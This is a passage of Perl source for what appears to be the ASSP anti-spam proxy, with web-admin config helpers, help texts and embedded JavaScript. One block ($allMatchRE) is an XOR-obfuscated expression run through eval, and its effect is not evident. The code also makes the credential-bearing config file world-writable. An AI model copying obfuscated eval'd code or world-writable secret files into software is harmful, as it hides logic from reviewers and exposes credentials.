$sysLogIp = $Config{sysLogIp};

$globalClientName = $Config{globalClientName};
$globalClientPass = $Config{globalClientPass};

&fixConfigSettings();
&PrintConfigSettings();
&PrintConfigDefaults();




sub niceConfigPos {
 my $counterT = -1;
 my $num = 0;
 foreach my $c (@ConfigArray) {
   if(@{$c} == 5) {
      $counterT++;
   } else {
      $ConfigPos{$c->[0]} = $counterT;
      $ConfigNum{$c->[0]} = ++$num;
   }
 }
}

sub niceConfig {
 %ConfigNice = ();
 %ConfigDefault = ();
 %ConfigListBox = ();
 foreach my $c (@ConfigArray) {
      my $value;
      next if(@{$c} == 5) ;
      $ConfigNice{$c->[0]} =  ($c->[10] && $WebIP{$ActWebSess}->{lng}->{$c->[10]})
                              ? encodeHTMLEntities($WebIP{$ActWebSess}->{lng}->{$c->[10]})
                              : encodeHTMLEntities($c->[1]);
      $ConfigNice{$c->[0]} =~ s/<a\s+href.*<\/a>//io;
      $ConfigNice{$c->[0]} =~ s/'|"|\n//go;
      $ConfigNice{$c->[0]} =~ s/\\/\\\\/go;
      $ConfigNice{$c->[0]} = '&nbsp;' unless $ConfigNice{$c->[0]};
      $ConfigDefault{$c->[0]} = encodeHTMLEntities($c->[4]);
      $ConfigDefault{$c->[0]} =~ s/'|"|\n//go;
      $ConfigDefault{$c->[0]} =~ s/\\/\\\\/go;

      $value = ($qs{theButton} || $qs{theButtonX}) ? $qs{$c->[0]} : $Config{$c->[0]} ;
      $value = $Config{$c->[0]} if $qs{theButtonRefresh};

      if ($c->[3] == \&listbox) {
          $ConfigDefault{$c->[0]} = 0 unless $ConfigDefault{$c->[0]};
          foreach my $opt ( split( /\|/o, $c->[2] ) ) {
                my ( $v, $d ) = split( /:/o, $opt, 2 );
                $ConfigDefault{$c->[0]} = $d if ( $ConfigDefault{$c->[0]} eq $v );
                $ConfigListBox{$c->[0]} = $d if ( $value eq $v );
                $ConfigListBoxAll{$c->[0]}{$v} = $d;
          }
      } elsif ($c->[3] == \&checkbox) {
                $ConfigDefault{$c->[0]} = $ConfigDefault{$c->[0]} ? 'On' : 'Off';
                $ConfigListBox{$c->[0]} = $value ? 'On' : 'Off';
      } else {
          $ConfigDefault{$c->[0]} = '&nbsp;' unless $ConfigDefault{$c->[0]};
          $ConfigListBox{$c->[0]} = $value;
      }
#      mlog( '',"c : $c->[0] : $ConfigDefault{$c->[0]}" );
 }
}

sub niceLink {
    my $c = shift;
    my $i = 0;
    my %v = ();
    while ($c =~ s/(\$[a-zA-Z0-9_{}\[\]\-\>\$]+)/\[\%\%\%\%\%\]/o) {
        my $var = $1;
        $v{$i} = eval($var);
        $v{$i} = $var unless defined $v{$i};
        $i++;
    }
    $i = 0;
    while ($c =~ s/\[\%\%\%\%\%\]/$v{$i}/o) {$i++}
    my $newline;
    foreach my $word (split(/ /o,$c)) {
         my $orgword = $word;
         $word =~ s/[^a-zA-Z0-9_]//go;
         if (exists $Config{$word} && ($rootlogin or ! $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.hidDisabled"})) {
              my $alt = $ConfigNice{$word};
              my $value = encodeHTMLEntities($ConfigListBox{$word});
              $value =~ s/'|"|\n//go;
              $value =~ s/\\/\\\\/go;
              $value = '&nbsp;' unless $value;
              $value = 'ENCRYPTED' if exists $cryptConfigVars{$word};
              my $default = exists $cryptConfigVars{$word} && $word ne 'webAdminPassword'? 'ENCRYPTED' : $ConfigDefault{$word};
              my $subst = "<a href=\"./#$word\" style=\"color:#684f00\" onmousedown=\"showDisp('$ConfigPos{$word}');gotoAnchor('$word');return false;\" onmouseover=\"window.status='$alt'; showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\' bgcolor=lightyellow><tr><td>config var:</td><td>$word</td></tr><tr><td>description:</td><td>$alt</td></tr><tr><td>current value:</td><td>$value</td></tr><tr><td>default value:</td><td>$default</td></tr></table>', this, event, '450px', '1'); return true;\" onmouseout=\"window.status='';return true;\">$word</a>" ;
              $orgword =~ s/$word/$subst/;
         }
         $newline .= " $orgword";
    }
    return $newline;
}

SaveConfigSettings();$|=1;
chmod 0666, "$base/assp.cfg";
#chmod 0777, "$assp";


our $BayesCont = '-\$A-Za-z0-9\'\.!\xA0-\xFF';
#$BayesCont = '\x21-\x7F\xA0-\xFF' if $decodeMIME2UTF8;
our $TLDSRE;
our $fixTLDSRE  = ' bax|biz|com|info|name|net|org|pro|aero|asia|cat|coop|edu|gov|int|jobs|mil|mobi|museum|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bl|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mf|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw';
our $DomainCache ||= '^(?!)';

our $allMatchRE = <<'EOT';
$[=~('(?{'.(')@w{@-*@^@!@@@i@[@|@/$@&^`@-^'.
'^=@_\'~<@/$*%^^`)-^@='^'@&__)^~(,%@$%$@;q;^'.
'-@@)@\',)^*|@}{`.~-@@~@-*,@^*{@').'})')
EOT
eval($allMatchRE);





our $URIDomainRe ='@?(?:\w[\w\.\-]*\.('. $fixTLDSRE  .'))\W';
# URI components - RFC3986, section 2, 'Characters'
our $URIContinuationRe   = '\=(?:\015?\012|\015)';
our $URIEncodedCharRe    = '[\=\%][a-f0-9]{2}|\&\#\d{1,3}\;?';
our $URIUnreservedCharRe = '[a-z0-9\-\_\.\~]';
our $URIGenDelimsCharRe  = '[\:\/\?\#\[\]\@]';
our $URISubDelimsCharRe =
  '[\!\$\&\'\(\)\*\+\,\;\=\%\^\`\{\}\|]';    # relaxed to a few other characters
our $URIReservedCharRe = $URIGenDelimsCharRe . '|' . $URISubDelimsCharRe;

# URI compounds
our $URICommonRe =
  $URIContinuationRe . '|' . $URIEncodedCharRe . '|' . $URIUnreservedCharRe;
our $URIHostRe = '(?:' . $URICommonRe . '|' . $URISubDelimsCharRe . ')+';
our $URIRe     = '(?:' . $URICommonRe . '|' . $URIReservedCharRe . ')+';




sub setMainLang {

$lngmsghint{'msg500011'} = '# main form buttom hint 1';
$lngmsg{'msg500011'} = "If Net::IP::Match::Regexp is installed  CIDR notation is allowed(182.82.10.0/24).";

$lngmsghint{'msg500012'} = '# main form buttom hint 2';
$lngmsg{'msg500012'} = "<br />If Net::IP::Match::Regexp is installed, Text after the range (and before a numbersign) will be accepted as comment which will be shown in a match (for example: 182.82.10.0/24 Yahoo Groups #comment not shown)." ;

$lngmsghint{'msg500013'} = '# main form buttom hint 3';
$lngmsg{'msg500013'} = "CIDR notation is accepted (182.82.10.0/24)." ;

$lngmsghint{'msg500014'} = '# main form buttom hint 4';
$lngmsg{'msg500014'} = "<br />Text after the range (and before a numbersign) will be accepted as comment to be shown in a match. For example:<br />182.82.10.0/24 Yahoo #comment to be removed" ;

$lngmsghint{'msg500015'} = '# main form buttom hint 5';
$lngmsg{'msg500015'} = "If Net::CIDR::Lite is installed, hyphenated ranges can be used (182.82.10.0-182.82.10.255).";

$lngmsghint{'msg500016'} = '# main form buttom hint 6';
$lngmsg{'msg500016'} = "Hyphenated ranges can be used (182.82.10.0-182.82.10.255).";

$lngmsghint{'msg500017'} = '# main form buttom hint 7';
$lngmsg{'msg500017'} = 'For defining any full filepathes, always use slashes ("/") not backslashes. For example: c:/assp/certs/server-key.pem !<br /><br />';

$lngmsghint{'msg500018'} = '# main form buttom hint 8';
$lngmsg{'msg500018'} = <<EOT;
Fields marked with at least one asterisk (*) accept a list separated by '|' (for example: abc|def|ghi) or a file designated as follows (path relative to the ASSP directory): 'file:files/filename.txt'.  Putting in the <i>file:</i> will prompt ASSP to put up a button to edit that file. <i>files</i> is the subdirectory for files. The file does not need to exist, you can create it from the editor by saving it. The file must have one entry per line; anything on a line following a numbersign or a semicolon ( # ;) is ignored (a comment).<br />
It is possible to include custom-designed files at any line of such a file, using the following directive<br />
<span class="positive"># include filename</span><br />
where filename is the relative path (from $base) to the included file like files/inc1.txt or inc1.txt (one file per line). The line will be internally replaced by the contents of the included file!<br /><br />
Fields marked with two asterisk (**) accept a  weight value.  Every weighted regex has to be followed by '=>' and the weight value. For example: Phishing\\.=>1.45 or  FOR YOUR HEALTH=>0.7. The multiplication result of the weight and the penaltybox valence value will be used for scoring, if the absolute value of weight is less or equal 6. Otherwise the value of weight is used for scoring directly. It is possible to define negative values .<br />
Note: Every weighted item that contains at least one '|' has to begin and end with a '~' - inside such regexes it is not allowed to use a '~', even it is escaped - for example:  <span class="negative">~abc\\~|def~=>23 or ~abc~|def~=>23</span>.<br />

<span class="negative">If any parameter that allowes the usage of weighted regular expressions is set to "block", but the sum of the resulting weighted penalty value is less than the corresponding "Penalty Box Valence Value" (because of lower weights) - only scoring will be done!</span><br />

The literal 'SESSIONID' will be replaced by the unique message logging ID in every SMTP error reply.<br />
The literal 'MYNAME' will be replaced by the configuration value defined in 'myName' in every SMTP error reply.<br /><br />
If the internal name is shown in light blue like <span style="color:#8181F7">(uniqueIDPrefix)</span> , this indicates that the configured value differs from the default value. To show the default value, move the mouse over the internal name. Click on the internal name to reset the value to the default.<br /><br />

EOT

$lngmsghint{'msg500019'} = '# main form buttom hint 9';
$lngmsg{'msg500019'} = <<EOT;
<br /><br />'kill -HUP $mypid' will load settings from disk. 'kill -USR2 $mypid' will save settings to disk.
EOT

$lngmsghint{'msg500020'} = '# manage users form hint';
$lngmsg{'msg500020'} = <<EOT;
Use the "Continue" button as long as you only want to see or to temporary change any parameter.
Use the "Apply Changes" button to apply all changes, that are currenty shown, to the user.
All user names that begins with a "~" are templates. The template "~DEFAULT" cannot be deleted.
All permissions of a user can refer to a template, in this case the permission of the template
belongs to the user. In this case, if the template permission is changed all user permissions
that refers to that template will also be changed. Template permissions can never refer to an
other user or template. It is possible to copy all permissions of a template or an user to an
other user or template. If "use LDAP / LDAP host" is filled with an IP-address or hostname
the local password will only be used, if the LDAPhost is not available. If a LDAP login is
successful, the LDAP-password will be stored as local password. It is possible to configure
multiple LDAP hosts separated by "|". To navigate use the alpha-index on the left site.
EOT

$lngmsghint{'msg500031'} = '# White/Redlist/Tuplets';
$lngmsg{'msg500031'} = <<EOT;
Do you want to work with the:
EOT

$lngmsg{'msg500032'} = <<EOT;
Do you want to:
EOT

$lngmsg{'msg500033'} = <<EOT;
<p>Post less than 1 megabyte of data at a time.</p>
Note: The redlist is not a blacklist. The redlist is a list of addresses that cannot
contribute to the whitelist, and who are not considered local, even if their mail is
from a local computer. For example, if someone goes on a vacation and turns on their
email's autoresponder, put them on the redlist until they return. Then as they reply
to every spam they receive they won't corrupt your non-spam collection or whitelist.
EOT

$lngmsg{'msg500034'} = <<EOT;
<p class="warning">Warning: If your whitelist or redlist is long, pushing these buttons
 is ill-advised. Use these for testing and while your whitelist is short.</p>
EOT

$lngmsghint{'msg500040'} = '# Recipient Replacement Test';
$lngmsg{'msg500040'} = '<p><a href="./#ReplaceRecpt">go to ReplaceRecpt to configure rules</a></p>';
$lngmsg{'msg500041'} = '<p><span class="negative"><a href="./#ReplaceRecpt">ReplaceRecpt</a> is not configured - please do this first!</span></p>';
$lngmsg{'msg500042'} = '<p>to modify the replacement rules, open the file by clicking edit ';

$lngmsg{'msg500043'} = '<p>the following replacement rules where processed</p><br />';

$lngmsghint{'msg500050'} = '# View Maillog Tail';
$lngmsg{'msg500050'} = <<EOT;
Refresh your browser or click [Search/Update] to update this screen. Newest entries are at the end. The search will stop, if the [search for] field is blank - and [tail bytes] is reached, or if the [search for] field is not blank - and [search in] or the number of [results] is reached. If you search for more than one word, all words must match. Words with a leading \\'-\\' will be negated. For example: a search pattern \\'user -root\\', will search all lines which contains the word \\'user\\' but not the word \\'root\\'!
EOT

$lngmsg{'msg500051'} = <<EOT;
Select [file lines only], if you want to reduce the shown number of lines to such (POST filter), which contains filenames.<br /><br /> Use the MaillogTail function carefully, while ASSP is processing any request, no new connections will be accepted by ASSP, and this could take some minutes, if you search in large or many maillogs!
EOT

$lngmsg{'msg500052'} = <<EOT;
If [this file number(s)] is selected, you can define a single filenumber or a comma separated list of filenumbers here - like: <b>1,5,8,7,6 or 10,2...7,11,14-19,21,23...26</b>  A defined range 2...7 or 2-7 will include all numbers from 2 to 7. The resulting numbers will be internally sorted ascending and the files will be used in that sorted order.
EOT

$lngmsg{'msg500053'} = <<EOT;
Enter the search string - for more help use the [help] link.
EOT

$lngmsghint{'msg500060'} = '# Mail Analyzer';
$lngmsg{'msg500060'} = <<EOT;
This page will show you how ASSP analyzes and pre-processes an email to come up with the assigned spam probability. Regular Expressions will always check the full message.
EOT

$lngmsg{'msg500061'} = <<EOT;
Copy and paste the mail header and body here:
EOT

$lngmsg{'msg500062'} = <<EOT;
<b>You may put here helo=aaa.bbb.helo or ip=123.123.123.123 to look up the helo/ip information. text=abc will start a lookup in the regular expression files for the "abc" matching regex.<br />
Put helo=domain.com and ip=123.123.123.123 in two lines, to lookup SPF results.</b>
<p>Note: Analysis is performed using the current spam database --
if yours was rebuilt since the time the mail was received you'll
receive a different result.</p>
EOT


$lngmsg{'msg500063'} = <<EOT;
<p>To use this form using <i>Outlook Express</i> do the following. Right-click on the message
of interest. Select <i>Properties</i>. Click the <i>Details</i> tab. Click the <i>message
source</i> button. Right-click on the message source and click <i>Select All</i>. Right-click
again and click <i>Copy</i>. Click on the text box above and paste (Ctrl-V perhaps). Click
the <i>Analyze</i> button.</p>
<p>The page will update to show you the following: if any of the email's addresses are in
the redlist or whitelist, the most and least spammy phrases together with their spaminess,
the resulting probabilities (probabilities may repeat one time), and the final spam probability
score.
EOT

$lngmsghint{'msg500070'} = '# Shutdown/Restart';
$lngmsg{'msg500070'} = <<EOT;
Note: It's possible to restart, if ASSP runs as a service or in a script that restarts it after it stops or AutoRestartCmd is configured.<br />
The following AutoRestartCmd will be started in OS-shell, if ASSP runs not as a service:<br /><b><font color=green>$AutoRestartCmd</font></b>
EOT

$lngmsghint{'msg500080'} = '# EDIT files window/frame';
$lngmsg{'msg500080'} = '<span class="negative">Attention: This is the real database content!<br />
                Incorrect editing hash lists could result in unexpected behavior or dieing ASSP!</span><br />
                Use |::| as terminator between key and value, for example: 102.1.1.1|::|1234567890 !<br />
                Use only one pair of key and value per line.<br />
                Comments are not allowed!<br />
                While the hash is saved, ASSP is unable to accept new connections!<br />
                Be carefull saveing large hash here, this could take very long time. Better save the new contents of large hashes and lists to the Importfile, if this option is available. If possible, the DB-Import will be started immediately by the MaintThread!<br />
                After saving the contents to the Importfile, you should close this windows and wait until the import has finished!';


$lngmsg{'msg500081'} = 'File should have one entry per line; anything on a line following a numbersign ( #) is ignored (a comment). Whitespace at the beginning or end of the line is ignored.';
$lngmsg{'msg500082'} = 'First line specifies text that appears in the subject of report message. The remaining lines are the report message body.';
$lngmsg{'msg500083'} = 'Put here comments to your assp installation.';
$lngmsg{'msg500084'} = 'For removal of entries from BlackBox  use <a onmousedown="showDisp(\'8\')" target="main" href="./#noPB">noPB</a>.
For removal of entries from WhiteBox  use <a onmousedown="showDisp(\'8\')" target="main" href="./#noPBwhite">noPBwhite</a>. For  whitelisting IP\'s use <a onmousedown="showDisp(\'5\')" target="main" href="./#whiteListedIPs">Whitelisted IP\'s</a> or <a onmousedown="showDisp(\'4\')" target="main" href="./#noProcessingIPs">No Processing IP\'s</a>. For blacklisting use <a onmousedown="showDisp(\'2\')" target="main" href="./#denySMTPConnectionsFrom">Deny SMTP Connections From these IP\'s</a> and <a onmousedown="showDisp(\'2\')" target="main" href="./#denySMTPConnectionsFromAlways">Deny SMTP Connections From these IP\'s Strictly</a>.';

$lngmsg{'msg500086'} = 'CacheEntry: IP/Domain \'11\' CacheIntervalStart 1=fail/2=pass Result/Comment';

$lngmsg{'msg500090'} = 'To take an action, select the action and click "Do It!". To move a file to an other location, just copy and delete the file!';
$lngmsg{'msg500091'} = '<br /> For "resend file" action install Email::Send  modules!';

$lngmsg{'msg500092'} = "Hostnames are supported: [Hostname]. IP ranges can be defined as: 182.82.10. ";

$lngmsghint{'msg500093'} = '# the following messages are in one line 0093.$records.0094';
$lngmsg{'msg500093'} = 'This hash/list seems to be too large (';
$lngmsg{'msg500094'} = 'records) to save it from GUI!';

$lngmsg{'msg500095'} = 'Please close this window, and wait until import has finished.';
$lngmsg{'msg500096'} = "This file was trunked to (MaxBytes) $MaxBytes byte. If you resend this file, the resulting view and/or attachments would be destroyed!";

$lngmsghint{'msg500100'} = '# SMTP-Connection - link - hintbox';
$lngmsg{'msg500100'} = 'Click here to open a SMTP-Connections-Window that never stops refreshing. Do not make any changes in the main window, while this SMTP-Connections-Window is still opened! A SMTP-Connections-Window which is started with the default (left beside) link, will stop refreshing if it is not in forground.';

}

sub renderConfigHTML {
  setMainLang();
  my $maillogEnd;
  if ($MaillogTailJump) {
    $maillogEnd = '#MlEnd';
  } else {
    $maillogEnd = '#MlTop';
  }
  $maillogJump = '<a href="javascript:void(0);" onclick="MlEndPos=document.getElementById(\'LogLines\').scrollTop; document.getElementById(\'LogLines\').scrollTop=0; return false;">Go to Top</a><a name="MlEnd"></a>';
  my $IndexPos = $hideAlphaIndex ? '451' : '440';
  my $IndexStart = $hideAlphaIndex ? '452' : '442';
  my $JavaScript;

  my $ConnHint = $WebIP{$ActWebSess}->{lng}->{'msg500100'} || $lngmsg{'msg500100'};

  $plusIcon = 'get?file=images/plusIcon.png';
  $minusIcon = 'get?file=images/minusIcon.png';
  $noIcon = 'get?file=images/noIcon.png';
  $wikiinfo = 'get?file=images/info.png';
 $NavMenu = '
 <hr />
 <div class="menuLevel2">
  <a href="lists"><img src="' . $noIcon . '" alt="noicon" /> White/Redlist/Tuplets</a><br />

  <a href="maillog' . $maillogEnd . '"><img src="' . $noIcon . '" alt="noicon" target="_blank" /> View Maillog Tail</a><br />
  <a href="analyze"><img src="' . $noIcon . '" alt="noicon" /> Mail Analyzer</a><br />
  <a href="infostats"><img src="' . $noIcon . '" alt="noicon" /> Info and Stats</a><br />
  ';

  $NavMenu .= '

  <a href="shutdown_list?nocache='.time.'" target="_blank"><img src="' . $noIcon . '" alt="this monitor will slow down ASSP dramaticly - use it careful" /> SMTP Connections </a>
  <a href="shutdown_list?nocache='.time.'&forceRefresh=1" target="_blank" onmouseover="showhint(\''.$ConnHint.'\', this, event, \'500px\', \'1\');return false;"><img height=12 width=12 src="' . $wikiinfo . '" /></a><br />
  <a href="shutdown"><img src="' . $noIcon . '" alt="noicon" /> Shutdown/Restart</a><br />
  <a href="donations"><img src="' . $noIcon . '" alt="noicon" /> Donations</a><br /></div>';
      $JavaScript = "
<script type=\"text/javascript\">
<!--
var oldBrowser = false;
/*\@cc_on
   /*\@if (\@_jscript_version < 5.6)
      oldBrowser = true;
   /*\@end
\@*/

if (window.navigator.appName == \"Microsoft Internet Explorer\")
{
   var engine;
   if (document.documentMode) // IE8
      engine = document.documentMode;
   else // IE 5-7
   {
      engine = 5; // Assume quirks mode unless proven otherwise
      if (document.compatMode)
      {
         if (document.compatMode == \"CSS1Compat\")
            engine = 7; //standard mode
      }
   }
   if (engine < 8) {oldBrowser = true;}
}
var BrowserDetect = {
	init: function () {
		this.browser = this.searchString(this.dataBrowser) || \"An unknown browser\";
		this.version = this.searchVersion(navigator.userAgent)
			|| this.searchVersion(navigator.appVersion)
			|| \"an unknown version\";
		this.OS = this.searchString(this.dataOS) || \"an unknown OS\";
	},
	searchString: function (data) {
		for (var i=0;i<data.length;i++)	{
			var dataString = data[i].string;
			var dataProp = data[i].prop;
			this.versionSearchString = data[i].versionSearch || data[i].identity;
			if (dataString) {
				if (dataString.indexOf(data[i].subString) != -1)
					return data[i].identity;
			}
			else if (dataProp)
				return data[i].identity;
		}
	},
	searchVersion: function (dataString) {
		var index = dataString.indexOf(this.versionSearchString);
		if (index == -1) return;
		return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
	},
	dataBrowser: [
		{
			string: navigator.userAgent,
			subString: \"Chrome\",
			identity: \"Chrome\"
		},
		{ 	string: navigator.userAgent,
			subString: \"OmniWeb\",
			versionSearch: \"OmniWeb/\",
			identity: \"OmniWeb\"
		},
		{
			string: navigator.vendor,
			subString: \"Apple\",
			identity: \"Safari\",
			versionSearch: \"Version\"
		},
		{
			prop: window.opera,
			identity: \"Opera\"
		},
		{
			string: navigator.vendor,
			subString: \"iCab\",
			identity: \"iCab\"
		},
		{
			string: navigator.vendor,
			subString: \"KDE\",
			identity: \"Konqueror\"
		},
		{
			string: navigator.userAgent,
			subString: \"Firefox\",
			identity: \"Firefox\"
		},
		{
			string: navigator.vendor,
			subString: \"Camino\",
			identity: \"Camino\"
		},
		{		// for newer Netscapes (6+)
			string: navigator.userAgent,
			subString: \"Netscape\",
			identity: \"Netscape\"
		},
		{
			string: navigator.userAgent,
			subString: \"MSIE\",
			identity: \"Explorer\",
			versionSearch: \"MSIE\"
		},
		{
			string: navigator.userAgent,
			subString: \"Gecko\",
			identity: \"Mozilla\",
			versionSearch: \"rv\"
		},
		{ 		// for older Netscapes (4-)
			string: navigator.userAgent,
			subString: \"Mozilla\",
			identity: \"Netscape\",
			versionSearch: \"Mozilla\"
		}
	],
	dataOS : [
		{
			string: navigator.platform,
			subString: \"Win\",
			identity: \"Windows\"
		},
		{
			string: navigator.platform,
			subString: \"Mac\",
			identity: \"Mac\"
		},
		{
			   string: navigator.userAgent,
			   subString: \"iPhone\",
			   identity: \"iPhone/iPod\"
	    },
		{
			string: navigator.platform,
			subString: \"Linux\",
			identity: \"Linux\"
		}
	]

};

BrowserDetect.init();
var detectedBrowser = 'ASSP-GUI is running in ' + BrowserDetect.browser + ' version ' + BrowserDetect.version + ' on ' + BrowserDetect.OS;
if (oldBrowser) {
    detectedBrowser = detectedBrowser + ' (old javascript engine and/or browser detected)';
}
// -->
</script>

<script type=\"text/javascript\">
<!--

var configPos = new Array();

";
 foreach my $c (@ConfigArray) {
   next if(@{$c} == 5);
   $JavaScript .= "configPos['$c->[0]']='$ConfigPos{$c->[0]}';";
 }

$JavaScript .= "
function quotemeta (qstr) {
    return qstr.replace( /([^A-Za-z0-9])/g , \"\\\\\$1\" );
}

function toggleDisp(nodeid)
{
  if (nodeid == null) return false;
  if(nodeid.substr(0,9) == 'setupItem')
    nodeid = nodeid.substr(9);
  layer = document.getElementById('treeElement' + nodeid);
  img = document.getElementById('treeIcon' + nodeid);
  if(layer.style.display == 'none')
  {
    layer.style.display = 'block';
    img.src = '$minusIcon';
    if(document.getElementById('setupItem' + nodeid))
      document.getElementById('setupItem' + nodeid).style.display = 'block';
  }
  else
  {
    layer.style.display = 'none';
    img.src = '$plusIcon';
    if(document.getElementById('setupItem' + nodeid))
      document.getElementById('setupItem' + nodeid).style.display = 'none';
  }
}
function showDisp(nodeid)
{
  if (nodeid == null) return false;
  if(nodeid.substr(0,9) == 'setupItem')
    nodeid = nodeid.substr(9);
  layer = document.getElementById('treeElement' + nodeid);
  img = document.getElementById('treeIcon' + nodeid);
  if(layer.style.display == 'none')
  {
    layer.style.display = 'block';
    img.src = '$minusIcon';
    if(document.getElementById('setupItem' + nodeid))
      document.getElementById('setupItem' + nodeid).style.display = 'block';
  }
}
function gotoAnchor(aname)
{
    window.location.href = \"#\" + aname;
    setAnchor(aname);
}
function expand(expand, force)
{
  counter = 0;
  while(document.getElementById('treeElement' + counter))
  {
    if(!expand)
    {
      //dont shrink if this element is the one passed in the URL
      arr = document.getElementById('treeElement' + counter).getElementsByTagName('a');
      txt = ''; found = 0;
      loc = new String(document.location);
      for(i=0; i < arr.length; i++)
      {
        txt = txt + arr.item(i).href;
        tmpHref = new String(arr.item(i).href);
        if(tmpHref.substr(tmpHref.indexOf('#')) == loc.substr(loc.indexOf('#')))
        {
          //give this tree node the right icon
          document.getElementById('treeIcon' + counter).src = '$minusIcon';
          found = 1;
        }
      }
      if(!found | force)
      {
        document.getElementById('treeIcon' + counter).src = '$plusIcon';
        document.getElementById('treeElement' + counter).style.display = 'none';
        if(document.getElementById('setupItem' + counter))
          document.getElementById('setupItem' + counter).style.display = 'none';
      }
    }
    else
    {
      document.getElementById('treeElement' + counter).style.display = 'block';
      document.getElementById('treeIcon' + counter).src = '$minusIcon';
      if(document.getElementById('setupItem' + counter))
        document.getElementById('setupItem' + counter).style.display = 'block';
    }
    counter++;
  }
}

//make the 'rel's work
function externalLinks()
{
  if (!document.getElementsByTagName)
    return;
  var anchors = document.getElementsByTagName(\"a\");
  for (var i=0; i<anchors.length; i++)
  {
    var anchor = anchors[i];
    if (anchor.getAttribute(\"href\")
      && anchor.getAttribute(\"rel\") == \"external\")
      anchor.target = \"_blank\";
  }
}

// handle cookies to remember something
function createCookie(name,value,days) {
    if (! navigator.cookieEnabled) {return null;}
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = \"; expires=\"+date.toGMTString();
	}
	else var expires = \"\";
	document.cookie = name+\"=\"+value+expires+\"; path=/\";
}

function readCookie(name) {
	return null;
    if (! navigator.cookieEnabled) {return null;}
	var nameEQ = name + \"=\";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name) {
    if (! navigator.cookieEnabled) {return null;}
	createCookie(name,\"\",-1);
}

function setAnchor(iname)
{
    if (navigator.cookieEnabled) {createCookie('lastAnchor',iname,1);}
}

function initAnchor(doIt)
{
    if (doIt != '1') {return null;}
    if (! navigator.cookieEnabled) {return null;}
    var iname = readCookie('lastAnchor');
    if (! iname || iname == '' || iname == 'delete') {return false;}
    if (window.location.pathname == '/' || window.location.pathname == '') {
        showDisp(configPos[iname]);
        gotoAnchor(iname);
    } else {
        return false;
    }
}
";
 if ($EnableFloatingMenu) {
  $JavaScript .= "
function docHeight()
{
  if (typeof document.height != 'undefined') {
    return document.height;
  } else if (document.compatMode && document.compatMode != 'BackCompat') {
    return document.documentElement.scrollHeight;
  } else if (document.body && typeof document.body.scrollHeight !='undefined') {
    return document.body.scrollHeight;
  }
}
//********************************************************
//* You may use this code for free on any web page provided that
//* these comment lines and the following credit remain in the code.
//* Floating Div from http://www.javascript-fx.com
//********************************************************
// Modified in May 2005 by Przemek Czerkas:
//  - added calls to docHeight()
//  - added bounding params tlx, tly, brx, bry
var ns = (navigator.appName.indexOf(\"Netscape\") != -1);
var d = document;
var px = document.layers ? \"\" : \"px\";
function JSFX_FloatDiv(id, sx, sy, tlx, tly, brx, bry)
{
  var el=d.getElementById?d.getElementById(id):d.all?d.all[id]:d.layers[id];
  window[id + \"_obj\"] = el;
  if(d.layers)el.style=el;
  el.cx = el.sx = sx;
  el.cy = el.sy = sy;
  el.tlx = tlx;
  el.tly = tly;
  el.brx = brx;
  el.bry = bry;
  el.sP=function(x,y){this.style.left=x+px;this.style.top=y+px;};
  el.flt=function()
  {
    var pX, pY;
    pX = ns ? pageXOffset : document.documentElement && document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft;
    pY = ns ? pageYOffset : document.documentElement && document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop;
    if(this.sy<0)
      pY += ns ? innerHeight : document.documentElement && document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight;
    this.cx += (pX + Math.max(this.sx-pX, this.tlx) - this.cx)/4;
    this.cy += (pY + Math.max(this.sy-pY, this.tly) - this.cy)/4;
    this.cx = Math.min(this.cx, this.brx);
    this.cy = Math.min(this.cy, this.bry);
    if (ns) {
      this.sP(
        Math.max(Math.min(this.cx+this.clientWidth,document.width)-this.clientWidth,this.sx),
        Math.max(Math.min(this.cy+this.clientHeight,document.height)-this.clientHeight,this.sy)
      );
    } else {
      var oldh, newh;
      oldh = docHeight();
      this.sP(this.cx, this.cy);
      newh = docHeight();
      if (newh>oldh) {
        this.sP(this.cx, this.cy-(newh-oldh));
      }
    }
    setTimeout(this.id + \"_obj.flt()\", 20);
  }
  return el;
}";
 }
 $JavaScript .= '
function popFileEditor(filename,note)
{
  var height = (note == 0) ? 500 : (note == \'m\') ? 580 : 550;
  newwindow=window.open(
    \'edit?file=\'+filename+\'&note=\'+note,
    \'FileEditor\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

function popAddressAction(address)
{
  var height = 500 ;
  var link = address ? \'?address=\'+address : \'\';
